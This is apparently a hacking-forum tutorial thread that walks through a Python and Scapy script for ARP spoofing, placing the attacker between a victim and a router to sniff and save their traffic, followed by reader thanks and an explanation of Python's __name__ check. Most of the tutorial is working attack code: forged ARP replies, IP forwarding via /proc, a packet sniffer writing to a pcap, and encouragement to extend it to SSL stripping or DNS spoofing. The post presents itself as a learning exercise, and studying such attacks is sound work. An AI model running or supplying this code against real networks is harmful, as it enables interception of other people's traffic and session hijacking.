Quick n' Dirty ARP Spoofing in Python

Today well be learning how to do a simple ARP Spoof or ARP Poison in python.

ARP spoofing can be used for a few things, DoS, MitM, Session Hijacking,Stripping SSL(technically mitm).

Today well be using it for a basic Man in the Middle attack.

So lets get started with some quick background info.


  1. What is this ARP you speak of? Is it like LARP’ing?

For starters… No. No it is not.

ARP or Address Resolution Protocol, in simple terms, maps a network address to a MAC address.

Heres an example from wikipedia:

For example, picture the computers Matterhorn and Washington in an office, connected to each other on the office local area network by Ethernet cables and network switches, with no intervening gateways or routers. Matterhorn has a packet to send to Washington. Through DNS, it determines that Washington has an IP address of 192.168.0.55. In order to send the message, it also needs to know Washington’s MAC address. First, Matterhorn uses a cached ARP table to look up 192.168.0.55 for any existing records of Washington’s MAC address (00:eb:24:b2:05:ac). If the MAC address is found, it sends the IP packet encapsulated in a level 2 frame on the link layer to address 00:eb:24:b2:05:ac via the local network cabling. If the cache did not produce a result for 192.168.0.55, Matterhorn has to send a broadcast ARP message (destination FF:FF:FF:FF:FF:FF MAC address, which is accepted by all computers) requesting an answer for 192.168.0.55. Washington responds with its MAC address (and its IP). (Washington may insert an entry for Matterhorn into its own ARP table for future use.) Matterhorn caches the response information in its own ARP table and can now send the packet.

ARP runs on request and reply, so one machine sends out a broadcast request with its information asking for an address, and machine two sees that request and says “OH THATS ME” and replies with its information so the two computers can communicate.

You can read into the nitty gritty in the ARP RFC 826 if you really want to know everything there is to know.

However, this should be enough for our purpose in this article.


2 . Okay, so what does this mean for us?


Well, ARP doesnt have authentication for replies, so that means for us, we can ARP spoof or pretend to be another machine so we can catch then forward all packets destined for it.

So, our machine 192.168.1.46 sees a request from 192.168.1.23 asking for the address 192.168.1.1(the router in this case). What we can do is reply to that request, saying “Hey , thats me” so packets addressed to the router come through us and we send them on their merry way after inspecting them. Now, this requires both ends, so we have to reply to 192.168.1.23 and tell it that were the router, but we also have to tell the router, that were 192.168.1.23.

Were essentially acting as a proxy for both systems, however unauthorized.

Now, for this to work, you need both the IP and the MAC of the systems you are going to place yourself in between.


3 . Okay, I think im picking up what your putting down. Now you said wed do ARP spoofing?


Alright, onto the fun part. Well be using Python and Scapy (very powerful library I suggest you make friends with it) to write a quick and dirty ARP spoofer. This wont be useful for too much straight out of the gate. In this intro, all youll do is save the packets to a pcap for later use, and see the packets go by as Source, Raw Load, Destination. Nothing Special.
So we know we need the IP and MAC of our victims right?

Lets start taking some input from the user, then well use it to grab a little info.

Well do some imports, and ask for the interface well be sending packets on, the victim, and the router.

import os
import sys
from scapy.all import*

interface = raw_input("interface: \n")
victimIP = raw_input("victim: \n")
routerIP=raw_input("router: \n")

Weve imported a few modules.
We import os because we need to access /proc/ on the system, so we can do IP Forwarding and route packets from the victim to the router.

We import sys so we can do a shutdown in some try and except loops.

Finally we import scapy, which is the real powerhouse of the situation. It allows us to send/recieve/craft packets, I HIGHLY recommend you spend some time reading about it.

okay, moving on.

Now well try to get the MAC of our victim IP

def MACsnag(IP):
    ans, unans = arping(IP)
    for s, r in ans:
        return r[Ether].src

we define a function called MACsnag(), which takes an IP address.
the arping function takes an ip address(or Network) and returns a list of IP/MACs, the ans, unans well think of as answered and unanswered packets.
the for loop takes the send and recieve of the answered packets, which on the next like returns the src of the [Ether] layer or the mac address.

If you dont know about packet layers, I suggest doing some reading, as it would take a bit of writing and would push the length of this post.

So now we have a function that will get our info down the road. Lets keep building.

Onto the spoofing.

def Spoof(routerIP, victimIP):
    victimMAC = MACsnag(victimIP)
    routerMAC = MACsnag(routerIP)
    send(ARP(op =2, pdst = victimIP, psrc = routerIP, hwdst = victimMAC))
    send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = routerMAC))

We first define a function called spoof() which takes two arguments, the victim and router MACs.
We then call our MACsnag() function to get the MAC addresses we need.
The next two lines are pretty simple, they call scapys send() function, saying to send an ARP packet.
The op part is the opcode, saying that is a reply, if it were 1 it would be a request.

So were telling the victim that this packet came from the router, and were telling the router that this packet came from the victim. Which from then on the victim will send to us for the router, the router will send to us for the victim, effectively putting us in the middle.

Now, this is all good and well, however, if we dont reupdate the routing tables when were done, the victim and router will continue to try to send packets through us. No bueno, that means no connection for them.

So, well write a function to restore the victim and router.

def Restore(routerIP, victimIP):
    victimMAC = MACsnag(victimIP)
    routerMAC = MACsnag(routerIP)
    send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc= victimMAC), count = 4) 
    send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = routerMAC), count = 4) 

So, we define the Restore() function. this is basically the inverse of the spoof function with a slight difference. so we send ARP replies to each host.
However, youll notice the hwdst = "ff:ff:ff:ff:ff:ff", ff:ff:ff:ff:ff:ff is simply put, the everyone address, so this broadcasts the packet asking for the information of the machine at the requested IP, so in this case, the router would respond with its information and BAM now theyre back to talking to each other correctly.

Alright, so we can get MACs, spoof and restore. Now what?
Were going to write a quick function to watch the packets go by and save them to a file

def sniffer():
    pkts = sniff(iface = interface, count = 10, prn=lambda x:x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n Reciever: %IP.dst% \n +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n"))
    wrpcap("temp.pcap", pkts)

We made a function sniffer()
We then call scapys sniff() function on the interface we specified earlier, for a count of 10 packets.
at the end of the sniff function youll notice prn= is adding a custom action, you could pass this a seperate function you wrote if you wish, in this case we used a lambda to print out the packets source IP and MAC, followed by the packets raw load if there is one, ending with the packets destination IP.
Next we call wrpcap() to write all the packets we sniff to a .pcap file for later inspection

Alright, were almost there. Lets make it run!

def MiddleMan():
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    while 1:
        try:
            spoof(routerIP, victimIP)
            time.sleep(1)
            sniffer()
        except KeyboardInterrupt:
            Restore(routerIP, victimIP)
            os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
            sys.exit(1)


if __name__ == "__main__":
    MiddleMan()

Okay, so first os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") makes a call to turn on IP forwarding , hence the 1.

Then, we say while 1 or as long as were running, to try to run spoof and sniff, then sleep for one second and this continues, unless the user hits ctrl + C. In which case we Restore the targets, then we call os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") to turn off IP forwarding, hence the 0.
Then the it shuts down the program with sys.exit(0) or a clean exit with no errors, since we requested the shutdown.

Heres my linux attack box ifconfig and im at 192.168.0.222

Above you can see im using interface wlan0 and my victim is my windows machine at 192.168.0.195 using the router 192.168.0.1

You can see my windows machine is browsing rainierland.com amongst some other details.

Screen cap from the temp.pcap file we wrote, showing the packet we saw in the live view screenshot above.


4 . Final Notes/Dislaimer


This tool is not perfect, its quick, and dirty, and quite frankly leaves much to be desired. Its posted here merely as a learning excercise to give a base for readers to play with and use to learn/expand.

Common errors I experienced were the victim machines failure to connect to webpages, or lag in connecting to webpages, which would be very obvious to the victim in any attack scenario.

Also, this wont do much of anything for HTTPS sites.


Case and point, learn from it, expand, build, and post back with any cool steps you take, maybe you create a MitM that can strip SSL, or do some DNS spoofing after your ARP poison.

Questions, comments, criticism all welcome.

Sorry for my absence, I believed i promised a few members some posts, ive been quite busy with a promotion at work.
Happy hacking.

14 Likes

Nice! Thanks man. Good stuff.

1 Like

Mmmm arp spoofing. :heart::heart::heart:

1 Like

This is awesome! But the error I’m getting when the vic is doing http with domain name sites is that it can’t contact the DNS server… Hmmm… I wonder if there is a way to fix this…

First off: Thanks for the tutorial. It is really quick and your explanations really helped me understand the code.

One question:
Mind to elaborate the line ‘if _name_ == “_main_”’?
I get what that line does in that context, but where does it come from, what does it do EXACTLY and why is it written like that? And what is _name_?

I am writing Python code for a few months now but haven’t seen a line like that so far.

*Question, whats up with my syntax highlighting?

Every module you write has a __name__ , but its mainly used for when you would be importing your module from another file.

Setting __name__ to __main__ would make it so the defined block would get ran, only if the program was ran by itself. Otherwise you would be able to import it using its functions. Perhaps an example would be better.

#! /usr/bin/python/
#our filename is mainfile.py
if __name__ == "__main__":
   print "Being run as a program directly"
else:
   print "Being imported as a module"

Example output:

above the program is run directly.

then it is imported as a module.

You can see how the name declaration affects what gets ran.

If I am unclear, or you want to know more, here is a fantastic explanation from Stack Overflow

When the Python interpreter reads a source file, it executes all of the code found in it. Before executing the code, it will define a few special variables. For example, if the python interpreter is running that module (the source file) as the main program, it sets the special __name__ variable to have a value "__main__". If this file is being imported from another module, __name__ will be set to the module's name.

In the case of your script, let's assume that it's executing as the main function, e.g. you said something like

python threading_example.py
on the command line. After setting up the special variables, it will execute the import statement and load those modules. It will then evaluate the def block, creating a function object and creating a variable called myfunction that points to the function object. It will then read the if statement and see that __name__ does equal "__main__", so it will execute the block shown there.

One of the reasons for doing this is that sometimes you write a module (a .py file) where it can be executed directly. Alternatively, it can also be imported and used in another module. By doing the main check, you can have that code only execute when you want to run the module as a program and not have it execute when someone just wants to import your module and call your functions themselves.
3 Likes

Wow, great function and great explanation. Many thanks.

1 Like

This topic was automatically closed after 30 days. New replies are no longer allowed.